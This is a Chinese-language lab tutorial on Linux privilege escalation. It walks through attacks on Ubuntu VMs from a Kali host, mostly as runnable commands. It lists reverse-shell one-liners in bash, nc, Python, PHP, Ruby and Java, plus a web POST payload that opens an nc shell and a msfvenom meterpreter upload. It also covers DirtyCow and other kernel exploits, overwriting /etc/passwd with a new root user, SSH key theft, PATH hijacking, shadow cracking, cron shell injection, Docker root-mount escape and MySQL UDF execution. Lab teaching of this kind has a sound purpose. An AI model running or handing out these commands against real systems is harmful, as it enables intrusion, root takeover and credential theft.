Linux提权基础
本章节虚拟机配置
kali2023 192.168.100.102
Ubuntu01 192.168.100.101
Ubuntu15.5 192.168.100.103
Ubuntu 192.168.100.104
1、常用命令
uname -a #查看内核/操作系统/cpu信息
head -n 1 /etc/issue #查看操作系统版本
cat /proc/version #查看系统信息
hostname #查看计算机名
env #查看环境变量
ifconfig #查看网卡
netstat -lntp # 查看所有监听端口
netstat -antp # 查看所有已经建立的连接
netstat -s # 查看网络统计信息
iptables -L #查看防火墙设置
route -n # 查看路由表
ps -ef # 查看所有进程
top # 实时显示进程状态
w # 查看活动用户
id # 查看指定用户信息
last # 查看用户登录日志
cut -d: -f1 /etc/passwd # 查看系统所有用户
cut -d: -f1 /etc/group # 查看系统所有组
crontab -l # 查看当前用户的计划任务
chkconfig –list # 列出所有系统服务
chkconfig –list | grep on # 列出所有启动的系统服务
echo $PATH #查看系统路径
2、反弹shell命令
反弹shell的一个作用是穿透一些防火墙,因为是里面主动连接外面,防火墙不会拦截。
使用nc对本地端口监听
nc -lvnp 8888
1.bash反弹
bash -i >& /dev/tcp/ip_address(nc主机IP)/port 0>&1
bash -i >& /dev/tcp/192.168.100.102/8888 0>&1
或
bash -c "bash -i >& /dev/tcp/192.168.100.102/8888 0>&1"
2.nc反弹
nc -e /bin/sh 192.168.100.102 8888
但某些版本的nc没有-e参数(非传统版),则可使用以下方式解决
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.100.102 8888 >/tmp/f
3.python (?????)
import socket,subprocess,os
s =socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(( "192.168.100.102" , 8888 ))
os.dup2(s.fileno(), 0 )
os.dup2(s.fileno(), 1 )
os.dup2(s.fileno(), 2 )
p = subprocess.call([ "/bin/bash" , "-i" ])
4.php反弹shell
php -r '$sock=fsockopen("192.168.100.102",8888);exec("/bin/sh -i <&3 >&3 2>&3");'
5.ruby反弹shell
ruby -rsocket -e'f=TCPSocket.open("192.168.100.102",8888).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
6.Java反弹shell
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read
line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
7.xterm反弹shell
xterm -display 10.0.0.1:1
POST /cmd.php HTTP/1.1
Host: 192.168.0.124
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101
Firefox/92.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 101
cmd=system('rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+192.168.100.102+8888+>/tmp/f');
3、python调用本地shell实现交互式命令行
终端有些时候系统的命令终端不允许直接访问,可以使用python虚拟化一个终端来执行
python -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
使用su命令 提示错误
4、Linux反弹shell解决乱码
在反弹回来的shell中输入方向键会出现乱码情况,并且使用tab键不会自动补全,如下
首先在监听之前使用bash shell (默认是zsh shell)
bash
反弹回来shell之后按ctrl+z
放置后台任务
然后设置原始格式
stty -echo raw
输入fg
调用后台任务
注:终端要使用bash反弹,不可使用php等反弹
Linux提权方法
1、Linux内核漏洞提权
通常我们在拥有一个webshell的时候,一般权限都是WEB容器权限,如在iis就是iis用户组权限,在apache 就是apache权限,一般都是权限较低,均可执行一些普通命令,如查看当前用户,网络信息,ip信息等。如果我想进行内网渗透就必须将权限提权到最高,如系统权限 超级管理员权限。
内核溢出提权
思想
先拿到shell之后通过信息收集方式得知linux内核版本,使用searchspolit
搜索相应版本漏洞
实例操作
利用堆栈溢出漏洞,根据当前系统, 寻找对应的漏洞的exp ,使用exp对其进行提权。
首先进行监听,如下
uname -a
cat /proc/version
cat /etc/issue
cat /etc/redhat-release
lsb_release -a
根据linux的内核版本去找对应的exp
searchsploit -t Ubuntu 14.04 #-t选项可以精确搜索漏洞标题中包含特定关键词的记录
searchsploit -s Ubuntu 14.04 #-s选项进行严格匹配,确保输入的关键词在结果中完全匹配
searchsploit -s Linux Kernel 3.13.0
然后查看描述,输入以下指令,就会显示exp,按q退出
searchsploit -x linux/local/37292.c
把该exp复制到当前目录下
接下来kali开启80端口
sudo python3 -m http.server 80 #使用Python 3启动HTTP服务器,默认端口为8000
查看目标机器有没有gcc编译器,假如没有gcc的话可以在本地进行编译后进行传递
gcc -v
复制该文件的链接
在shell中下载该exp
wget http://192.168.100.102/37393.c -o /tmp/37393.c #-o表示保存的地址
编译该文件
gcc 37393.c -o exp #-o指定编译后的文件名
添加执行权限
chmod +x exp 或 chmod 777 exp #将文件权限设置为777,即所有用户都有读、写和执行的权限
执行exp
./exp
脏牛提权 CVE-2016-5195
思想
该漏洞是 Linux 内核的内存子系统在处理写时拷贝(Copy-on-Write)时存在条件竞争漏洞, 导致可以破坏私有只读内存映射。利用只读文件映射区域写数据时,会使用get_user_page内核函数处理产生一个映射文件的复制(COW), 对此区域的任何修改都不会写回原来的文件,但这里通过条件竞争就能使其任务执行顺序异常,就会成功的写到原来的文件中。 比如我们修改su或者passwd程序就可以达到提权root的目的
实例操作
测试环境 ubuntu 14.04
在靶场上新建普通用户 moon123 密码 456789
kali攻击机上下载exp https://github.com/Brucetg/DirtyCow-EXP
git clone https://github.com/Brucetg/DirtyCow-EXP
在shell中下载该exp
wget http://192.168.100.102/DirtyCow-EXP/Linux/dirtycow
添加执行权限
chmod +x dirtycow
运行
./dirtycow /etc/group "$(sed '/\(sudo*\)/ s/$/,moon456/' /etc/group)"
切换到moon456用户,发现已经加入到sodu组,具有root权限
另一种脏牛提权的方式是将原来的root用户删掉了,重新创建了一个新的超级管理员用户,叫做firefart。我们切换到这个用户下,就可以执行任意系统指令了
2、metasploit Linux 提权
思想
使用模块查询漏洞,也可以根据系统版本寻找exp
实例操作
生成攻击载荷
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.100.102 LPORT=12345 -f raw > msf.php (kali的端口)
kali开启http服务
sudo python3 -m http.server 80
将该攻击载荷上传到目标主机中
http://192.168.100.104/code/code02.php?data=file_put_contents('../tmp/m.php',file_get_contents('http://192.168.100.102/msf.php'));
192.168.100.104/code/code02.php?data=system('ls -al ../tmp');
kali本地监听
msfconsole
use exploit/multi/handler
set payload php/meterpreter_reverse_tcp
set lhost 192.168.100.102
set lport 12345
exploit
访问目标主机的m.php文件,便会反弹shell,获取一个session
getuid
查看当前用户
sysinfo
查看系统版本
使用模块查询漏洞
run post/multi/recon/local_exploit_suggester
如果使用模块找不到exp,也可以根据系统版本寻找exp
下载exp,再编码、增加执行权限、运行
cd /tmp
wget https://www.exploit-db.com/exploits/37292
gcc 37292.c -o exp
chmod +x exp
./exp
如果成功就会得到一个root
msf反弹的shell中,使用python调用本地shell实现交互式命令行,可能还会出现乱码,再用4中的方法解决乱码
3、suid提权
思想
SUID是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。也就是如果ROOT用户给某个可执行文件加了S权限,那么该执行程序运行的时候将拥有ROOT权限。
实例操作
kali做一下监听
本地访问目标机器Ubuntu01的cmd.php文件,抓个包,把GET请求方法改为POST,在包后加入攻击代码
cmd=system('rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+192.168.100.102+8888+>/tmp/f');
kali便会反弹shell,切换shell(3的方法),解决乱码
以下命令可以发现系统上运行的所有SUID可执行文件
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;
/表示从文件系统的顶部(根)开始并找到每个目录
-perm 表示搜索随后的权限
-u = s表示查找root用户拥有的文件
-type表示我们正在寻找的文件类型
f 表示常规文件,而不是目录或特殊文件
2表示该进程的第二个文件描述符,即stderr(标准错误)
可以查看find命令的权限
ls -al /usr/bin/find
带有这个s说明具有root权限
输入以下命令进行提权
find . -exec /bin/sh -p \; -quit
常见suid提权文件
nmap、vim、find、more、less、bash、cp、Nano、mv、awk、man、weget
https://gtfobins.github.io/
这里列出的程序本身并不容易受到攻击,相反,GTFOBins是一个概要,说明当您只有某些二进制文件可用时,如何获得root权限
4、passwd提权
思想
将目标主机上的/etc/passwd文件复制下来,利用OpenSSL passwd生成一个具有root权限的新用户,将新用户添加到/etc/passwd中,再将目标主机的/etc/passwd文件覆盖
实例操作
kali攻击机已经反弹回目标主机Ubuntu01主机的shell(步骤略)
将目标主机的/etc/passwd文件内容全部复制
创建一个名为passwd的文件,粘贴
在kali上通过OpenSSL passwd生成一个新的用户hacker,密码为hack123
openssl passwd -1 -salt hacker 123456
生成$1$hacker$6luIRwdGpBvXdP.GMwcZp/
将hacker:$1$hacker$6luIRwdGpBvXdP.GMwcZp/:0:0:/root:/bin/bash
追加到kali新建的passwd文件中
在Kali上启动一个python服务器
python -m SimpleHTTPServer 80
或
sudo python3 -m http.server 80
在目标主机的shell里输入以下指令,将Kali上的passwd文件下载到靶机etc目录下并覆盖原来的passwd文件
wget http://192.168.100.102/passwd -O /etc/passwd
目标主机的/etc/passwd文件已经被替换
注:这里最关键的一步就是对目标主机的/etc/passwd文件具有写权限sudo chmod 777 /etc/passwd
然后切换到hacker用户即可,提权成功!
su命令 切换用户
su hacker
除了使用su切换用户,也可使用ssh远程登录
ssh hacker@192.168.100.101
5、ssh密钥提权
思想
运维人员如果在服务器上使用ssh-keygen生成密钥对(id_rsa、id_rsa.pub),然后采用此密钥对进行远程登录,那么当他忘记把私钥(id_rsa)删除,且文件权限可读,黑客就可以使用这个私钥进行用户登录,达到用户水平越权或者权限提升到root。
实例操作
kali攻击机已经反弹回目标主机Ubuntu01主机的shell(步骤略)
(1) 使用命令查看系统中存在用户
cat /etc/passwd | grep bash
(2) 搜索密钥文件
find / -name authorized_keys #注:”authorized_keys“文件用来登录的公钥验证文件
跳转到/home/web1/.ssh目录
cd /home/web1/.ssh
(3) 对比存在的公钥与“authorized_keys”文件是否相同
cat authorized_keys
cat id_rsa.pub
可以看到两个文件内容相同,说明是用这对密钥对进行远程登录
也可以使用md5sum来检查两个文件内容是否相同
md5sum authorized_keys
md5sum id_rsa.pub
(4) 拷贝私钥到本地进行远程登录
将id_rsa下载到本地,重新给密钥权限,使用私钥登录
cat /home/web1/.ssh/id_rsa
chmod 600 id_rsa #将文件权限设置为600,即只有文件的所有者具有读写权限,其他所有用户都没有任何权限
登录
ssh -i id_rsa web1@192.168.100.101
##
ssh -i 参数用于指定一个私钥文件,以便在通过 SSH 连接到远程服务器时进行身份验证。这个参数特别适用于使用密钥对(公钥和私钥)进行身份验证的情况,而不是使用密码
ssh -i <私钥文件路径> <用户名>@<远程服务器地址>
注:如果目标机器的.ssh目录有写权限,我们也可以在本地生成公私钥,将公钥上传到.ssh目录,然后在本地进行私钥登录
6、环境劫持提权
如果我们找到一个 suid 权限的程序,但是我们无法完成 suid 提权,就可以试试搭配环境变量进行提权.
思想
找到有 suid 的,内部有 system 函数调用未指定路径的命令的文件。同时用户有修改自己环境变量的权限,就可以通过劫持 system 函数里调用的脚本文件,使其指向环境变量里自行创建的一个同名脚本文件,那么这个自行创建的同名脚本文件就能以 root 权限运行了,如果这个脚本文件里的命令是 /bin/bash,那么就相当于提权了
`bash`,即Bourne Again SHell,是对Bourne Shell的扩展。它提供了命令行编辑、程序执行、脚本执行等功能,是Linux系统中默认的Shell之一。用户可以通过bash来执行命令、管理文件和目录,以及编写和执行shell脚本
环境劫持需要的两个条件
- 存在带有suid的文件
- suid文件存在系统命令
实例操作
寻找suid文件
find / -perm -u=s -type f 2>/dev/null
分析文件 发现是一个查询进行的命令 所以里面应该是用ps命令(查看进程的命令),如下
这个二进制文件运行的时候一定是调用了ps命令
在/shell目录下也可以看到shell的源代码demo.c,如下
在/tmp目录下创建ps文件,里面使用 /bin/bash执行命令
把tmp的路径添加到当前环境路径,再访问 /script目录,执行shell文件,运行的时候首先会采用/tmp目录的ps文件作为命令
所以可以劫持root命令执行
cd /tmp
echo "/bin/bash" > ps #创建一个PS文件,内容是/bin/bash
chmod 777 ps
echo $PATH #打印当前的 路径
export PATH=/tmp:$PATH #把tmp的路径添加到当前环境路径
cd /script
./shell
7、john破解shadow root密文登录
思想
John the Ripper是一个密码破解工具,它可以用来尝试密码字典来破解密码。它不直接用于提权,但可以在提权后用来尝试密码。
实例操作
提权过后可以访问文件/etc/shadow
将shadow root密文保存在本地新建文件up中
将kali主机上的/usr/share/wordlists文件夹中的rockyou.txt.gz解压出来
cd /usr/share/wordlists
sudo gzip -d rockyou.txt.gz # gzip -d 将文件rockyou.txt.gz解压缩为原始文件,并删除压缩文件
john会自动检测密文类型 --wordlist 字段文件
john --wordlist="/usr/share/wordlists/rockyou.txt" up
root:$6$URZ1c7qW$z5jZA6/j9fb8d4ExJOWuwCjEFo0tfBkfV.D3OIf0c0ukepcZYgrBhO6vjpNbmYc
t1uco9NrtBw3z50tCoMbqb1:18907:0:99999:7:::
可以看到root的密码已经破解出来
8、Ubuntu计划任务反弹shell提权
思想
主要通过查看是否有高权限账号在定时执行某个脚本任务,如果有,那么可利用命令查看具体路径;我们就可以重新通过这个脚本编写自己的反弹shell,从而达到获取root权限
实例操作
当获取一个linux普通用户后,查看计划任务
cat /etc/crontab
查看当前用户计时器设置
crontab -l
/var/spool/cron/crontabs/root 这个目录是root任务文件 默认不是root权限是看不到的
使用tail命令可以实时查看日志文件的末尾内容
tail -f /var/log/syslog
查看日志文件 发现root每一分钟会执行一次 cleanup.py文件
查看该文件的权限
ls -al /script/cleanup.py
修改内容 反弹shell
vim /script/cleanup.py
bash -i >& /dev/tcp/192.168.100.102/6666 0>&1
本地监听 nc -lvnp 6666
9、提权脚本应用
LinEnum
LinEnum 是一个 Linux 主机本地信息自动提取的 shell 脚本,它有超过 65 项安全检查功能,比如潜在的 SUID/GUID 文件、Sudo/rhost 错误配置等。另外这个脚本还可以根据关键字(比如 Password)搜索 *.conf 和 *.log 文件,这些功能对于渗透测试人员来说,是非常有用的。
主要功能:
1.内核和发行版本
2.系统信息:
主机名
3.网络信息:
IP
路由信息
DNS服务器信息
4.用户信息:
当前用户信息
最近登录用户
枚举所有用户,包括uid/gid信息
列举root账号
检查/etc/passwd中的hash
当前用户操作记录 (i.e .bash_history, .nano_history etc.)
5.版本信息:
Sudo
MYSQL
Postgres
Apache
下载链接:
https://github.com/rebootuser/LinEnum
实例操作
shell中下载执行
wget -O - http://192.168.100.102/LinEnum.sh | bash
也可以先下载到本地,再执行
wget http://192.168.100.102/LinEnum.sh
sh LinEnum.sh
也可将执行结果输出到本地文件中
sh LinEnum.sh >1.txt
注:> 用于将输出重定向到文件,如果文件已存在,则会覆盖它。
>> 用于将输出追加到文件的末尾,如果文件存在,则不会覆盖它。
linuxprivchecker
Linuxprivchecker.py 是一个专为Linux系统设计的本地权限提升检测脚本,这个脚本的目标是枚举基础系统信息并寻找常见的权限提升漏洞,如世界可写文件、配置错误、明文密码以及适用的攻击向量。它旨在帮助用户识别潜在的安全问题,而不是直接提供解决方案或进行恶意利用。
脚本下载
https://github.com/sleventyeleven/linuxprivchecker
https://github.com/swarley7/linuxprivchecker #python3版本
实例操作
shell中下载
wget http://192.168.100.102/linuxprivchecker/linuxprivchecker.py
执行
python3 linuxprivchecker.py
linux-exploit-suggester2
Linux Exploit Suggester 2是一个基于原始的Linux_Exploit_Suggester的下一代漏洞利用建议器,是一款用于寻找Linux操作系统特权升级漏洞的脚本。通过查询大量已知的exploit数据,它可以为特定内核版本提供可能的攻击路径,帮助安全研究人员或红队成员在实战环境中迅速定位目标系统的关键弱点
脚本下载
https://github.com/jondonas/linux-exploit-suggester-2
实例操作
shell中下载
wget http://192.168.100.102/linux-exploit-suggester-2.pl
自动检测
perl linux-exploit-suggester-2.pl
指定版本
访问链接查看exp使用方式
10、docker提权
思想
最重要的一点是web1是docker的用户组,用docker创建容器的时候把目录挂载到宿主的根目录,因此可以访问宿主的根目录,那么就可以访问宿主的敏感文件
实例操作
输入命令id
和group
查询当前用户信息和组信息 发现存在docker组
输入命令下载使用容器,把容器的目录挂载到宿主的根目录
docker run -v /:/mnt -it alpine
#指定了 -v /:/mnt 这样的卷挂载参数,将宿主机的根目录(/)挂载到了容器内的 /mnt 目录
#-it alpine 告诉 Docker 以交互模式启动一个 Alpine Linux 容器,并分配一个终端以便你可以与容器进行交互
#docker会在网上自动下载aiplne这个镜像
注意:出现“the input device is not a TTY”错误需要使用调用本地shell实现交互式命令行
若靶机上有alpine镜像和容器,可以先删除,如下
访问宿主的/etc/shadow
cat /mnt/etc/shadow
Linux 提权之 Docker 用户组提权 - hello_bao - 博客园 (cnblogs.com)
docker提权和lxd提权原理相似
11、sudo提权
思想
sudo 是一种权限管理机制,管理员可以授权于一些普通用户去执行一些 root 执行的操作,而不需要知道 root 的密码。
首先通过信息收集,查看是否存在sudo配置不当的可能。如果存在,寻找低权限sudo用户的密码,进而提权。
实例操作
列出目前用户可执行与无法执行的指令:
sudo -l
可以看到可以使用root特权下的cat命令,所以可以读取任何文件。NOPASSWD,不需要密码,使用cat命令,并且具有特权权限。
通常运维会将一些需要 sudo的命令 集成到某个用户或者某个组
然后在/etc/sudoers文件内进行设置
首先设置 chmod +w cat /etc/sudoers
,使用vi对其编辑,保存即可
# User privilege specification
root ALL=(ALL:ALL) ALL
moonsec ALL=(root) NOPASSWD:/bin/cat
# Members of the admin group may gain root privileges
%admin ALL=(ALL) ALL
# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL
# See sudoers(5) for more information on "#include" directives:
12、Linux mysql udf 提权
思想
UDF提权是一种通过在mysql数据库中添加用户自定义函数(UDF)来执行系统命令,从而提升权限的方法。这种技术允许攻击者通过编写特定的UDF文件,将其上传到目标MySQL服务器,并通过调用这些函数来执行任意命令,进而提升权限。
实例操作
反弹shell后登录mysql
mysql uroot -p 123456
查看插件目录
show variables like '%plugin%';
查看该目录是否有写权限
ls -al /usr/lib/mysql/plugin/
将该文件进行解码
在kali中用该py文件将上图文件进行解码
cd /usr/share/sqlmap/extra/cloak/
sudo python cloak.py -d -i /usr/share/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so_ lib_mysqludf_sys.so #进行解码
cp /usr/share/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so_ ~/Desktop #将解码后的文件复制到桌面
wget http://192.168.100.102/lib_mysqludf_sys.so #在shell中将kali攻击机上的解码后的文件下载
登录mysql
mysql uroot -p 123456
use mysql;
创建函数
create function sys_exec return strings soname "lib_mysqludf_sys.so";
执行命令,查看id
select sys_eval('id'); #sys_eval()执行系统命令函数
UDF提权需要满足以下条件:
- 获取mysql的控制权,知道账号密码并且能够登录上
- 具有读写权限:
secure_file_priv
的值必须为空,否则无法提权 - mysql服务以root用户运行,否则提权后仍然是普通用户
提权失败可能的原因
1.plugin 不存在 或者 没权限写入文件
2.lib_mysqludf_sys.so文件 版本不对 (有64位和32位的)
3.mysql权限设置错误
$ sudo ln -s /etc/apparmor.d/usr.sbin.mysqld /etc/apparmor.d/disable/
$ sudo apparmor_parser -R /etc/apparmor.d/usr.sbin.mysqld
13、切换用户提权
思想
使用另一个用户的sudo特权权限
实例操作
如下,moonsec用户拥有cat命令的特权权限
在moonsec用户下
cd /tmp
vi 1.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc,char *argv[])
{
setreuid(1001,1001); #moonsec用户的id
execve("/bin/sh",NULL,NULL);
}
gcc 1.c -o 1
chmod u+s 1 #加一个suid
在web1用户下
cd /tmp
./1 #执行文件
bash